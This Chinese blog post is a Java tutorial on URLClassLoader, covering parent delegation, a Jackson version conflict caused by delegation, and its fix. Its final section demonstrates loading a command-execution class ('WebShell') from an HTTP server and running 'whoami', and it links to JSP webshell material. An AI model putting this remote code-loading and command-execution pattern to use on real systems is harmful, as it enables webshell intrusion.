从上面我们研究【java编程】双亲委派模式时进行Debug了源代码, 可以发现的是, URLClassLoader是ExtClassLoader && AppClassLoader的父类(不是父亲),
public class Launcher {
static class ExtClassLoader extends URLClassLoader {}
static class AppClassLoader extends URLClassLoader {}
}
URLClassLoader 的作用是可以从指定的jar文件和目录中加载类和资源
。 其中它有两个重要的构造方法值得我们去实现并学习:
public URLClassLoader(URL[] urls, ClassLoader parent){
// 作用: 使用指定的父加载器加载对象, 从指定的 urls 路径来查询, 并加载类
// ...
}
public URLClassLoader(URL[] urls) {
// 作用: 使用默认的父加载器 (AppClassLoader) 创建一个 ClassLoader 对象, 从指定的 urls 路径来查询, 并加载类
// ...
}
如果使用第二个构造器, 那么URLClassLoader的parent将是AppClassLoader, 我们可以通过下图解释:
使用 URLClassLoader 加载&&执行 Jar 包
首先创建一个jar包, 如下:
根据上面的代码, 我们成功创建了一个jar包
, 其中, 定义了com.utils.SayHello
类以及在其中定义了hi
方法, 创建测试代码, 如下:
public class HeihuHello {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
File file = new File("D:/MyJarTest.jar"); // 把刚刚生成好的 jar 文件放入到这里
URL[] urls = new URL[]{file.toURL()}; // 生成 URL
URLClassLoader urlClassLoader = new URLClassLoader(urls); // 实例化 URLClassLoader, 父亲是 AppClassLoader
Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello"); // 根据委派模式, AppClassLoader 及父类都找不到, 最终在本 URLClassLoader 进行查找, 而本 URLClassLoader 路径中又包含 File 对象, 最终从本 File 对象找到了类
Object o = clazz.newInstance(); // com.utils.SayHello@6e0be858, 这里可以成功生成对象
Method hi = clazz.getMethod("hi", new Class[]{});
hi.invoke(o); // com.utils::hi~ ^_^
}
}
URLClassLoader 因为委派模式导致的 "歧义" 问题
在com.utils.SayHello项目中的pom.xml
文件中引入一个Jackson, 如下:
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.11.0</version> <!-- 2.11.0 中存在 getFormatGeneratorFeatures 方法 -->
</dependency>
</dependencies>
修改com.utils.SayHello::hi
方法为如下内容:
public class SayHello {
public static void main(String[] args) {
System.out.println("Hi~");
}
public void hi() {
System.out.println("com.utils::hi~ ^_^ JacksonTest: " + (new JsonFactory()).getFormatGeneratorFeatures()); // 因为编译器上下文环境中存在 getFormatGeneratorFeatures (也就是编辑器使用的是2.11.0版本), 所以编译不会出错.
}
}
因为我们通过Maven增加了Jackson包, 所以我们设置在打jar包时, 一定要有提取到目标Jar (移除工件再添加工件即可), 如图:
重新定义后, 再构建项目即可.
确认打包好的内容, 存在 jackson, 如图:
在我们ClassLoader测试环境中, 在pom.xml
文件声明如下选项:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.5.4</version> <!-- 2.5.4 版本不存在 getFormatGeneratorFeatures -->
</dependency>
最终测试结果:
public class HeihuHello {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
File file = new File("D:/MyJarTest.jar"); // 把刚刚生成好的 jar 文件放入到这里
URL[] urls = new URL[]{file.toURL()}; // 生成 URL
URLClassLoader urlClassLoader = new URLClassLoader(urls); // 实例化 URLClassLoader, 父亲是 AppClassLoader
Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello");
// 根据委派模式, AppClassLoader 及父类都找不到, 最终在本 URLClassLoader 进行查找, 而本 URLClassLoader 路径中又包含 File 对象, 最终从本 File 对象找到了类
Object o = clazz.newInstance(); // com.utils.SayHello@6e0be858, 这里可以成功生成对象
Method hi = clazz.getMethod("hi", new Class[]{});
hi.invoke(o);
/*
* Caused by: java.lang.NoSuchMethodError: com.fasterxml.jackson.core.JsonFactory.getFormatGeneratorFeatures()I
at com.utils.SayHello.hi(SayHello.java:16)
... 5 more
这里会抛出异常, 因为加载类的方式是委派的, 当我们委派到 AppClassLoader 时, 加载了我们本环境中 2.5.4 的 Jackson, 而 2.5.4 的 Jackson 是不存在 getFormatGeneratorFeatures 方法的, 所以这里会报错.
* */
}
}
解决办法
:
使用URLClassLoader的指明父亲的构造器, 代码如下:
public class HeihuHello {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
File file = new File("D:/MyJarTest.jar");
URL[] urls = new URL[]{file.toURL()};
URLClassLoader urlClassLoader = new URLClassLoader(urls, HeihuHello.class.getClassLoader().getParent());
// ClassLoader.getSystemClassLoader() -> 返回 AppClassLoader
// AppClassLoader -> parent -> ExtClassLoader
Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello");
// ExtClassLoader 及其父类都找不到 Jackson 包, 随后交给我们当前的 URLClassLoader 进行扫描, 最终扫描到了已打包好的 Jackson
Object o = clazz.newInstance();
Method hi = clazz.getMethod("hi", new Class[]{});
hi.invoke(o);
}
}
URLClassLoader 远程加载 WebShell
准备如下类:
public class CMD {
/**
*
* @param cmd 要执行的命令
* @return 命令执行的结果
*/
public static String Exec(String cmd) {
try {
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
byte[] myChunk = new byte[1024];
int tmp = 0;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while ((tmp = is.read(myChunk)) != -1) {
byteArrayOutputStream.write(myChunk, 0, tmp);
}
return new String(byteArrayOutputStream.toByteArray());
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
然后打一个jar包, 开启网络服务.
准备如下代码, 测试运行结果:
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/MyJarTest.jar")}; // 解析 jar 包
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class<?> clazz = urlClassLoader.loadClass("CMD"); // 解析 jar 包中的 CMD.class 文件
Method method = clazz.getMethod("Exec", String.class);
String result = (String) method.invoke(null, "whoami");
System.out.println(result); // heihubook\administrator
}
}
当然了, 也可以将CMD.class
文件放入到WEB服务根目录, 如图:
随后准备如下代码:
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/")}; // 当成目录
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class<?> clazz = urlClassLoader.loadClass("CMD"); // 会读取目录下的 CMD.class 类
Method method = clazz.getMethod("Exec", String.class);
String result = (String) method.invoke(null, "whoami");
System.out.println(result); // heihubook\administrator
}
}
使用URLClassLoader,传入的地址,如果以`/`结尾,则会当做目录, 去这个目录下找类,否则就会将这个地址后的文件当做jar包,从jar包中找类。
标签:java,URLClassLoader,URL,编程,jar,class,new,public From: https://www.cnblogs.com/o-O-oO/p/18575128当然了, 这里可以学习 ClassLoader-JSP 马的应用: https://www.freebuf.com/articles/web/323775.html